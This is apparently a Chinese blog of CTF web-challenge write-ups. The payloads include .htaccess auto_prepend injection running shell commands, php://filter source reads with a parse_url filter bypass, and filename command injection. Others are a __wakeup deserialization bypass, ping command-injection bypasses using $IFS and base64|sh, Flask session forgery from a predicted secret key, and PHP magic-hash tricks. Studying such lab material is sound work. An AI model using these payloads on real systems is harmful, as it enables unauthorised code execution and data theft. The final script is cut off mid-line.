1 2 3 ?filename=.htaccess&content=php_value auto_prepend_fil\ e .htaccess # <?php system ('ls' );?> \
编码一下,如果不编码的话就不在同一行,传的时候不好传,最后的反斜杠后面不能有空格,有空格就转不了\
1 ?filename= .htaccess&content= php_value%20 auto_prepend_fil%5 C%0 Ae%20 .htaccess%0 A%23 %3 C%3 Fphp%20 system('ls%20 /')%3 B%3 F%3 E%5 C
获得flag,虽然它过滤了flag,但我们可以用fl??来代替flag,或者用字符串连接,例如’cat%20/fla’.’g’ cat flag
1 ?filename= .htaccess&content= php_value%20 auto_prepend_fil%5 C%0 Ae%20 .htaccess%0 A%23 %3 C%3 Fphp%20 system('cat%20 /fl??')%3 B%3 F%3 E%5 C
[HarekazeCTF2019]Avatar Uploader 先登录,用户名大于等于4个字符就好了,随便起个名 上传文件 它给了上传png的条件 先看GIF89a能不能绕过 并不能 hint要求是png格式 改下16进制文件头看是否能绕过 只改第一行就好了 上传后竟然直接给了flag 先看看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );require_once ('config.php' );require_once ('lib/util.php' );require_once ('lib/session.php' );$session = new SecureClientSession (CLIENT_SESSION_ID, SECRET_KEY);if (!file_exists ($_FILES ['file' ]['tmp_name' ]) || !is_uploaded_file ($_FILES ['file' ]['tmp_name' ])) { error ('No file was uploaded.' ); }if ($_FILES ['file' ]['size' ] > 256000 ) { error ('Uploaded file is too large.' ); }$finfo = finfo_open (FILEINFO_MIME_TYPE);$type = finfo_file ($finfo , $_FILES ['file' ]['tmp_name' ]);finfo_close ($finfo );if (!in_array ($type , ['image/png' ])) { error ('Uploaded file is not PNG format.' ); }$size = getimagesize ($_FILES ['file' ]['tmp_name' ]);if ($size [0 ] > 256 || $size [1 ] > 256 ) { error ('Uploaded image is too large.' ); }if ($size [2 ] !== IMAGETYPE_PNG) { error ('What happened...? OK, the flag for part 1 is: <code>' . getenv ('FLAG1' ) . '</code>' ); }$filename = bin2hex (random_bytes (4 )) . '.png' ;move_uploaded_file ($_FILES ['file' ]['tmp_name' ], UPLOAD_DIR . '/' . $filename );$session ->set ('avatar' , $filename );flash ('info' , 'Your avatar has been successfully updated!' );redirect ('/' );
在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png 在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,但其后面还有: 对于getimagesize() 函数返回的数组:
1 2 3 4 5 6 7 8 9 Array ( [0 ] = > 290 [1 ] = > 69 [2 ] = > 3 [3 ] = > width= "290" height= "69" [bits] = > 8 [mime] = > image/png )
结果解释:
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);
先看这个
1 2 3 if ($size [0] > 256 || $size [1] > 256) { error ('Uploaded image is too large.' ); }
我们在创建文件时并没有构造像素值,所以未报错
1 2 3 4 if ($size[2 ] !== IMAGETYPE_PNG) { error ('What happened...? OK, the flag for part 1 is: <code>' . getenv ('FLAG1' ) . '</code>' );
索引2返回的是数字不是PNG,将输出part 1的flag 这也就说的通了
为了获取到flag,我们需要绕过函数finfo_file()或函数getimagesize() 的验证 函数finfo_file()其主要是识别PNG文件十六进制下的第一行信息,若保留文件头信息,破坏掉文件长宽等其余信息,也就可以绕过getimagesize() 函数的检验
[N1CTF 2018]eating_cms 这个界面可以先考虑一下sql注入和弱密码爆破 能看到sql注入的语句,这里有防火墙,不好注 发现register.php 先注册一个登录再说 疑似文件包含,伪协议读一下源码 guest.php
1 2 3 4 5 6 <?php if (FLAG_SIG != 1 ){ die ("you can not visit it directly " ); }include "templates/guest.html" ;?>
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php require_once ("function.php" );if ( !isset ( $_SESSION ['user' ] )){ Header ("Location: index.php" ); }if ($_SESSION ['isadmin' ] === '1' ){ $oper_you_can_do = $OPERATE_admin ; }else { $oper_you_can_do = $OPERATE ; }if ($_SESSION ['isadmin' ] === '1' ){ if (!isset ($_GET ['page' ]) || $_GET ['page' ] === '' ){ $page = 'info' ; }else { $page = $_GET ['page' ]; } }else { if (!isset ($_GET ['page' ])|| $_GET ['page' ] === '' ){ $page = 'guest' ; }else { $page = $_GET ['page' ]; if ($page === 'info' ) { Header ("Location: user.php?page=guest" ); } } }filter_directory ();include "$page .php" ;?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 <?php session_start ();require_once "config.php" ;function Hacker ( ) { Header ("Location: hacker.php" ); die (); }function filter_directory ( ) { $keywords = ["flag" ,"manage" ,"ffffllllaaaaggg" ]; $uri = parse_url ($_SERVER ["REQUEST_URI" ]); parse_str ($uri ['query' ], $query ); foreach ($keywords as $token ) { foreach ($query as $k => $v ) { if (stristr ($k , $token )) hacker (); if (stristr ($v , $token )) hacker (); } } }function filter_directory_guest ( ) { $keywords = ["flag" ,"manage" ,"ffffllllaaaaggg" ,"info" ]; $uri = parse_url ($_SERVER ["REQUEST_URI" ]); parse_str ($uri ['query' ], $query ); foreach ($keywords as $token ) { foreach ($query as $k => $v ) { if (stristr ($k , $token )) hacker (); if (stristr ($v , $token )) hacker (); } } }function Filter ($string ) { global $mysqli ; $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password" ; $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><" ; for ($i = 0 ; $i < strlen ($string ); $i ++) { if (strpos ("$whitelist " , $string [$i ]) === false ) { Hacker (); } } if (preg_match ("/$blacklist /is" , $string )) { Hacker (); } if (is_string ($string )) { return $mysqli ->real_escape_string ($string ); } else { return "" ; } }function sql_query ($sql_query ) { global $mysqli ; $res = $mysqli ->query ($sql_query ); return $res ; }function login ($user , $pass ) { $user = Filter ($user ); $pass = md5 ($pass ); $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user ' and `password_which_you_do_not_know_too` = '$pass '" ; echo $sql ; $res = sql_query ($sql ); if ($res ->num_rows) { $data = $res ->fetch_array (); $_SESSION ['user' ] = $data [username_which_you_do_not_know]; $_SESSION ['login' ] = 1 ; $_SESSION ['isadmin' ] = $data [isadmin_which_you_do_not_know_too_too]; return true ; } else { return false ; } return ; }function updateadmin ($level ,$user ) { $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level ' where `username_which_you_do_not_know`='$user ' " ; echo $sql ; $res = sql_query ($sql ); if ($res == 1 ) { return true ; } else { return false ; } return ; }function register ($user , $pass ) { global $mysqli ; $user = Filter ($user ); $pass = md5 ($pass ); $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user ','$pass ','0')" ; $res = sql_query ($sql ); return $mysqli ->insert_id; }function logout ( ) { session_destroy (); Header ("Location: index.php" ); }?>
其中主要的源码就是user.php和function.php 在function.php里发现
1 2 3 $keywords = ["flag" ,"manage" ,"ffffllllaaaaggg" ] $uri = parse_url($_SERVER["REQUEST_URI" ]) parse_str($uri['query' ], $query)
无法直接读到flag文件,这里用parse_url解析漏洞绕过。parse_url: 本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。 本地测试
1 2 3 4 5 6 7 8 <?php $url = 'http://127.0.0.1/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg' ;var_dump (parse_url ($url ));array (4 ) { ["scheme" ]=> string (4 ) "http" ["host" ]=> string (9 ) "127.0.0.1" ["path" ]=> string (9 ) "/user.php" ["query" ]=> string (57 ) "page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg" }
再看看$_SERVER['REQUEST_URI']
的返回值。
1 2 3 4 5 6 <?php $url = 'http://127.0.0.1/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg' ;echo $_SERVER ['REQUEST_URI' ]; /user.php?page=php:
题目源码的意思是对$_SERVER[‘REQUEST_URI’]
进行parse_url解析。 用伪协议直接读ffffllllaaaaggg会被检测到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $keywords = ["flag" ,"manage" ,"ffffllllaaaaggg" ,"info" ]; $uri = parse_url($_SERVER["REQUEST_URI" ]); parse_str($uri['query' ], $query);// var_dump($query);// die (); foreach ($keywords as $token) { foreach ($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
有一个办法是使parse_url解析出错,从而无法进入下面的foreach判断。 只要在user.php前面加上三个/
ffffllllaaaaggg
1 2 3 4 5 6 7 <?php if (FLAG_SIG != 1 ){ die ("you can not visit it directly" ); }else { echo "you can find sth in m4aaannngggeee" ; }?>
在读m4aaannngggeee
1 2 3 4 5 6 7 <?php if (FLAG_SIG != 1 ){ die ("you can not visit it directly" ); }include "templates/upload.html" ;?>
去这个链接看看 有个上传按钮,但貌似并不能上传 源码找到一个php文件,读一下这个
upllloadddd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $allowtype = array ("gif" ,"png" ,"jpg" );$size = 10000000 ;$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" ;$filename = $_FILES ['file' ]['name' ];if (is_uploaded_file ($_FILES ['file' ]['tmp_name' ])){ if (!move_uploaded_file ($_FILES ['file' ]['tmp_name' ],$path .$filename )){ die ("error:can not move" ); } }else { die ("error:not an upload file" ); }$newfile = $path .$filename ;echo "file upload success<br />" ;echo $filename ;$picdata = system ("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" .$filename ." | base64 -w 0" );echo "<img src='data:image/png;base64," .$picdata ."'></img>" ;if ($_FILES ['file' ]['error' ]>0 ){ unlink ($newfile ); die ("Upload file error: " ); }$ext = array_pop (explode ("." ,$_FILES ['file' ]['name' ]));if (!in_array ($ext ,$allowtype )){ unlink ($newfile ); }?>
访问m4aaannngggeee页面 这个文件上传倒是能用
我们可以利用这个
1 $picdata = system ("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" .$filename." | base64 -w 0" );
filename是文件名,所以我们上传文件时抓包,文件名做个文章 不知道为什么用不了/,也没看到过滤啊 用cd替代
在本地测试一下,没有任何问题 分号闭合,#注释后面的语句
[RootersCTF2019]babyWeb 先输入一个1 单引号闭合下 页面空白,看来是过滤了 通过反斜杠报错发现确实是单引号闭合 这里要上万能密码 经过试错可知or被禁用了,用||代替,limit0,1,返回一行数据
获得flag,看来是登录就给flag
[GXYCTF2019]BabysqliV3.0 题目给的是sql类型,但我们要有自己的想法,像这样的登录窗口,还可能有弱密码 本题可以挨个爆uname=admin,passwd=password 传了几个文件,没有对后缀进行过滤,但是上传过后都变为了.txt文件 看看url
这里的格式感觉有文件包含 伪协议测一下
1 home.php?file=php:// filter/convert.base64-encode/ resource=upload
成功利用,得到了upload.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <meta http-equiv ="Content-Type" content ="text/html; charset=utf-8" /> <form action ="" method ="post" enctype ="multipart/form-data" > 上传文件 <input type ="file" name ="file" /> <input type ="submit" name ="submit" value ="ä¸ä¼ " /> </form > <?php error_reporting (0 );class Uploader { public $Filename ; public $cmd ; public $token ; function __construct ( ) { $sandbox = getcwd ()."/uploads/" .md5 ($_SESSION ['user' ])."/" ; $ext = ".txt" ; @mkdir ($sandbox , 0777 , true ); if (isset ($_GET ['name' ]) and !preg_match ("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET ['name' ])){ $this ->Filename = $_GET ['name' ]; } else { $this ->Filename = $sandbox .$_SESSION ['user' ].$ext ; } $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ; $this ->token = $_SESSION ['user' ]; } function upload ($file ) { global $sandbox ; global $ext ; if (preg_match ("[^a-z0-9]" , $this ->Filename)){ $this ->cmd = "die('illegal filename!');" ; } else { if ($file ['size' ] > 1024 ){ $this ->cmd = "die('you are too big (′▽`〃)');" ; } else { $this ->cmd = "move_uploaded_file('" .$file ['tmp_name' ]."', '" . $this ->Filename . "');" ; } } } function __toString ( ) { global $sandbox ; global $ext ; return $this ->Filename; } function __destruct ( ) { if ($this ->token != $_SESSION ['user' ]){ $this ->cmd = "die('check token falied!');" ; } eval ($this ->cmd); } } if (isset ($_FILES ['file' ])) { $uploader = new Uploader (); $uploader ->upload ($_FILES ["file" ]); if (@file_get_contents ($uploader )){ echo "下面是你上传的文件:<br>" .$uploader ."<br>" ; echo file_get_contents ($uploader ); } } ?>
看到了eval,但我不知道怎么才能利用到他,但是还有一种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function __construct ( ) { $sandbox = getcwd ()."/uploads/" .md5 ($_SESSION ['user' ])."/" ; $ext = ".txt" ; @mkdir ($sandbox , 0777 , true ); if (isset ($_GET ['name' ]) and !preg_match ("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET ['name' ])){ $this ->Filename = $_GET ['name' ]; } else { $this ->Filename = $sandbox .$_SESSION ['user' ].$ext ; } $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ; $this ->token = $_SESSION ['user' ]; } if (isset ($_FILES ['file' ])) { $uploader = new Uploader (); $uploader ->upload ($_FILES ["file" ]); if (@file_get_contents ($uploader )){ echo "下面是你上传的文件:<br>" .$uploader ."<br>" ; echo file_get_contents ($uploader ); } }
这也解释了我们为什么总是txt结尾了,我们这次提交的时候加上参数name=b.php 这里还以为把一句话木马写到这个页面了,试了好久没注出来 确实是在这个页面上啊。。。。 回来看我们的b.php已经创建了 执行RCE
看了下wp,这种方法是非预期解,预期解是phar反序列化 好把,不知道为什么复现不出来GXYCTF2019BabysqliV3.0-phar反序列化正解
phar反序列化
[SWPUCTF 2021 新生赛]no_wakeup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->passwd; echo "No wake up" ; } } }$Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );?>
已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,
而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它
当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 构造序列化代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } }$a =new HaHaHa ();$a ->admin='admin' ;$a ->passwd='wllm' ;echo serialize ($a );
运行结果
1 O :6 :"HaHaHa" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
序列化返回的字符串格式:
1 O:<length > :"<class name > ":<n > :{<field name 1 > <field value 1 > ...<field name n > <field value n > }
O:表示序列化的是对象
length:表示序列化的类名称长度
class name:表示序列化的类的名称
n:表示被序列化的对象的属性个数
field name 1:属性名
field value 1:属性值 所以要修改属性值n,既把2改为3以上。1 O :6 :"HaHaHa" :3 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
最好url编码一下,这样我们就绕过wakeup哩
[GXYCTF 2019]Ping Ping Ping 存在命令执行,用管道符隔开,空格等一些特殊字符被禁用了,但$没有,可替代空格
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 127.0 .0 .1 ;cat$IFS$1 index.php <?php if (isset ($_GET ['ip' ])){ $ip = $_GET ['ip' ]; if (preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match )){ print_r ($match ); print ($ip ); echo preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match ); die ("fxck your symbol!" ); } else if (preg_match ("/ /" , $ip )){ die ("fxck your space!" ); } else if (preg_match ("/bash/" , $ip )){ die ("fxck your bash!" ); } else if (preg_match ("/.*f.*l.*a.*g.*/" , $ip )){ die ("fxck your flag!" ); } $a = shell_exec ("ping -c 4 " .$ip ); echo "<pre>" ; print_r ($a ); } ?>
这里有几种方法可以绕过
1 2 3 4 5 127.0.0.1 ;tac$IFS`ls`127.0.0.1 ;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1 -d|sh127.0.0.1 ;a=ag;b=fl;cat$IFS$b$a.php 如果[] 没被禁用也可以127.0.0.1 ;a=f;cat$IFS[e-g] lag
[CISCN2019 华东南赛区]Web4 有个链接指向baidu 链接的话首先考虑能不能读文件,先嘟嘟/etc/passwd 试了一下flag不能读 看一看/proc/self/cmdline有什么内容 url参数读一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 encoding:utf-8 import re, random, uuid, urllibfrom flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
获得源码 简单看一下,重要的几行代码
1 2 random.seed (uuid.getnode ()) #uuid .getnode ()是靶机的mac地址 app.config ['SECRET_KEY' ] = str (random.random ()*233 )
只要知道了种子值为多少,就能知道密钥是什么 mac地址在/sys/class/net/eth0/address中存储 获得mac地址为76:12:00:da:b0:2f 其本身就是16进制
知道了种子,哪个就可以推出密钥了,这里要用python2运行,因为靶机是python2,区别是python2与python3生成的位数不同
1 2 3 4 5 6 import random random.seed(0x761200dab02f )print (str(random.random()*233 )) -> 179.873037007
然后再看
1 session ['username' ] = 'www-data'
主页把username默认为www-data,而
1 2 3 4 5 6 @app .route('/flag' ) def flag(): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied'
当username为fuck时会返回flag 看一下我们的session
这个session好像jwt啊,但是不是的 这里username对应的是base64编码后的www-data 我们把这一段截取出来,把fuck填进去
1 {"username":{" b ":"fuck" }}
接下来利用flask_session_cookie_manager 伪造session
使用这个脚本伪造session
1 python flask_session_cookie_manager3.py encode -s '179.873037007' -t "{'username': b'fuck'}"
/flag下把生成的session替换原来的session
flask session伪造admin身份
moectf2024 -静态网页 hint:无意间发现 Sxrhhh 的个人博客。但是好像是静态博客,应该没什么攻打的必要了。。。
网页确实是静态网页,查看源码也没有有效的信息,但是发现右下角有一个可以交互的人物,抓一下包看有什么资源可以利用,抓包发现页面调用了 进入final1l1l_challenge.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file ('final1l1l_challenge.php' );error_reporting (0 );include 'flag.php' ;$a = $_GET ['a' ];$b = $_POST ['b' ];if (isset ($a ) && isset ($b )) { if (!is_numeric ($a ) && !is_numeric ($b )) { if ($a == 0 && md5 ($a ) == $b [$a ]) { echo $flag ; } else { die ('noooooooooooo' ); } } else { die ( 'Notice the param type!' ); } } else { die ( 'Where is your param?' ); }
了解一下
1 $b [$a ]#若$a ==0 ,则返回$b 第一个字符或数组第一个的值
payload
1 2 3 4 GET ?a =QNKCDZO POSTb =0%00
对于$a==0 弱比较下,当一个字符串与数字进行比较时,PHP会尝试将字符串转换为一个数字。如果字符串的第一个字符是一个数字,那么PHP会将其转换为该数字;如果字符串的第一个字符不是数字,那么PHP会将整个字符串转换为0 PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。
moectf2024 勇闯铜人阵 好久没写脚本了,先拉坨屎山
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import requests import re a =requests.session() url = 'http://127.0.0.1:57542/restart?' data={ "player" :"1" , "direct" :'弟子明白' }while 1: b =a.post(url=url,data=data) tex = re.findall(r'<h1 id="status">\s*(.*?)\s*</h1>' , b.text) # print ('text=' ,b.text) print (tex) str1 =str(tex) str1 = str1.replace("'" , "" ).replace("[" , "" ).replace("]" , "" ).replace(" " , "" ) print ('str1=' ,str1) mark = 0 for j in str1: if j ==',': mark =1 #两个 if 'moectf' in b.text: print (b.text) break if mark ==0: print ('嗨嗨嗨' ) if str1 =='1': data["direct" ]="北方" elif str1 =='2': data["direct" ] = "东北方" elif str1 == '3' : data["direct" ] = "东方" elif str1 =='4': data["direct" ] = "东南方" elif str1 =='5': data["direct" ] = "南方" elif str1 =='6': data["direct" ] = "西南方" elif str1 == '7' : data["direct" ] = "西方" elif str1 =='8': data["direct" ] = "西北方" elif mark ==1: mark1 = 0 # 判断逗号 print ('嘻嘻嘻' ) for k in str1: print (k) if k =='1'and mark1 ==0: data["direct" ] = "北方一个," mark1 =1 elif k =='1'and mark1 ==1: data["direct" ] += "北方一个" elif k =='2'and mark1 ==0: data["direct" ] = "东北方一个," mark1 =1 elif k =='2'and mark1 ==1: data["direct" ] += "东北方一个" elif k =='3'and mark1 ==0: data["direct" ] = "东方一个," mark1 =1 elif k =='3'and mark1 ==1: data["direct" ] += "东方一个" elif k =='4'and mark1 ==0: data["direct" ] = "东南方一个," mark1 =1 elif k =='4'and mark1 ==1: data["direct" ] += "东南方一个" elif k =='5'and mark1 ==0: data["direct" ] = "南方一个," mark1 =1 elif k =='5'and mark1 ==1: data["direct" ] += "南方一个" elif k =='6'and mark1 ==0: data["direct" ] = "西南方一个," mark1 =1 elif k =='6'and mark1 ==1: data["direct" ] += "西南方一个" elif k =='7'and mark1 ==0: data["direct" ] = "西方一个," mark1 =1 elif k =='7'and mark1 ==1: data["direct" ] += "西方一个" elif k =='8'and mark1 ==0: data["direct" ] = "西北方一个," mark1 =1 elif k =='8'and mark1 ==1: data["direct" ] += "西北方一个" print (f'url={url} data={data}' ) url = 'http://127.0.0.1:57542/'
moectf2024 Re: 从零开始的 XDU 教书生活 提示: 使用脚本重复发送请求直到所有人都签上到即可。如果思路受阻或者不知道怎么写脚本,欢迎通过下方锤子询问出题人。 建议先从浏览器简单看下该做什么再去看代码细节,直接看代码很难理清思路。 /v2/apis/sign/refreshQRCode 该接口用于刷新二维码并返回新的二维码的信息。如何组装一个签到链接可参考网页源码。(或者随便拿个签到二维码看一下指向的链接也差不多能搞懂)
你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:
本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。 当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!
先通过10000登录老师账号,看一下有多少人需要我们签的 这么多人,必须要写一个脚本了 先登录学生账号抓包看看 发现我们的账号密码被加密了,而cookie是随机生成的不可预测 再看看附件下载的app.py 这两个函数比较重要,我们的账号密码是AES加密
根据代码写出AES加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str: key_bytes = key.encode("utf-8" ) iv_bytes = iv.encode("utf-8" ) cipher = AES.new (key_bytes, AES.MODE_CBC, iv_bytes) plaintext_bytes = pad(plaintext.encode("utf-8" ), AES.block_size) encrypted_bytes = cipher.encrypt(plaintext_bytes) encrypted = base64.b64encode(encrypted_bytes).decode("utf-8" ) return encrypted def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str: key_bytes = key.encode("utf-8" ) iv_bytes = iv.encode("utf-8" ) cipher = AES.new (key_bytes, AES.MODE_CBC, iv_bytes) encrypted_bytes = base64.b64decode(encrypted) decrypted_bytes = cipher.decrypt(encrypted_bytes) pad = decrypted_bytes[-1 ] decrypted_bytes = decrypted_bytes[:-pad] decrypted = decrypted_bytes.decode("utf-8" ) return decrypted key = "u2oh6Vu^HWe4_AES" iv = "u2oh6Vu^HWe4_AES" plaintext = "9613331" encrypted_text = encrypt_by_aes(plaintext, key, iv)print (f"Encrypted: {encrypted_text}" )
与抓包内容对比看是否对应的上 一模一样 接着被导航到/page/sign/signIn 扫描二维码,跳出二维码内容,进入这个网页就能签到了
1 http:// 127.0 .0.1 :58882 /widget/ sign/e?id=4000000000000 &c=3232369319357 &enc=BAEEA1B833B76CFB2FF25FE93836D711&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id
这里enc和signCode已经变了,但是我们可以推断出对应的是上面的c和enc值 接下来我们还要把网页上的用户爬下来,这里我是先保存到本地再爬的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from bs4 import BeautifulSoupimport re html_file = "./签到.html" output_file = "output1.txt" with open (html_file, "r" , encoding="utf-8" ) as file: soup = BeautifulSoup(file, 'html.parser' )with open (output_file, "w" , encoding="utf-8" ) as out_file: divs = soup.find_all('div' , class_=re.compile (r'item zoomIn \d+' )) for div in divs: class_attr = div.get('class' ) for item in class_attr: match = re.search(r'\d+' , item) if match : out_file.write(match .group() + "\n" ) print (f"提取的数字已保存到 {output_file} " )
思路: 爬取页面用户的账户–>/v2/apis/sign/refreshQRCode获取enc和signCode值–>把账户AES加密–>访问/fanyalogin页面发送数据包–>获取cookies值–>以cookies内的身份进入二维码内容页面
最终代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import requests import re import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad import time def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str: key_bytes = key.encode("utf-8" ) iv_bytes = iv.encode("utf-8" ) cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) # 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节) plaintext_bytes = pad(plaintext.encode("utf-8" ), AES.block_size) # 加密 encrypted_bytes = cipher.encrypt(plaintext_bytes) # 将加密后的字节进行 base64 编码 encrypted = base64.b64encode(encrypted_bytes).decode("utf-8" ) return encrypted key = "u2oh6Vu^HWe4_AES" iv = "u2oh6Vu^HWe4_AES" output_file = 